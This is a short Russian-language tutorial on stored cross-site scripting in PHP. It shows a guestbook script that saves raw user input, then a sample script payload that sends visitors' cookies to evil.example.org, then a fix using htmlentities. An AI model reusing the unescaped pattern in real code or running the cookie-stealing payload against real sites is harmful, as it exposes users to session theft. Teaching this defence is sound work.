< form>
< input type="text" name="message">< br />
< input type="submit">
< /form>
< ?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}< br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Данный скрипт выводит содержимое файла в следующей строке. Но что если злоумышленник добавит сообщение такого типа:
< script> document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie < /script>Последующий посетитель этого сайта, который выполнит данный скрипт, будет перенаправлен на evil.example.org, а так же передаст свои куки. Но это не самое страшное, что хакер может сделать с беспечным пользователем. Но от такого вида атаки несложно защититься, если знать как. Снизить риск XSS-атаки можно использую один из нижеперечисленных способов или комбинируя их. - Фильтрация полученных данных.
< form>
< input type="text" name="message">< br />
< input type="submit">
< /form>
< ?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message< br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Но не стоит недооценивать злоумышленников и ограничиваться только этим видом защиты. Нужно комбинировать все вышесказанное, добиваясь при этом максимальной безопасности.